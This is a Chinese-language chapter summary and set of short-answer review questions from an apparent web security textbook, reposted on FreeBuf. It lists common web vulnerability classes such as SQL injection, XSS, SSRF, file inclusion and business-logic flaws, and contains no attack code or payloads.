11 本章小结
本章从Web应用常见的安全漏洞出发,介绍了各类漏洞的基本概念、形成原因、利用方法、防护技术等内容,包括文件上传漏洞、文件下载漏洞、文件包含漏洞、SQL注入漏洞、命令执行漏洞、XSS跨站脚本攻击、CSRF跨站请求伪造、XXE XML实体注入、SSRF服务端请求伪造等内容。最后介绍了常见的业务逻辑漏洞,包括验证码安全漏洞、支付漏洞、账户越权、密码重置等内容。 课后思考 简答题
请简述UNION SELECT手工注入的流程。
请列举XSS跨站脚本漏洞有哪些分类。
请列举SSRF请求伪造漏洞的危害。
请列举文件包含漏洞经常可以和哪些伪协议配合使用。
请简述文件上传漏洞常有哪些绕过方法。
请简述黑名单和白名单机制的区别
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)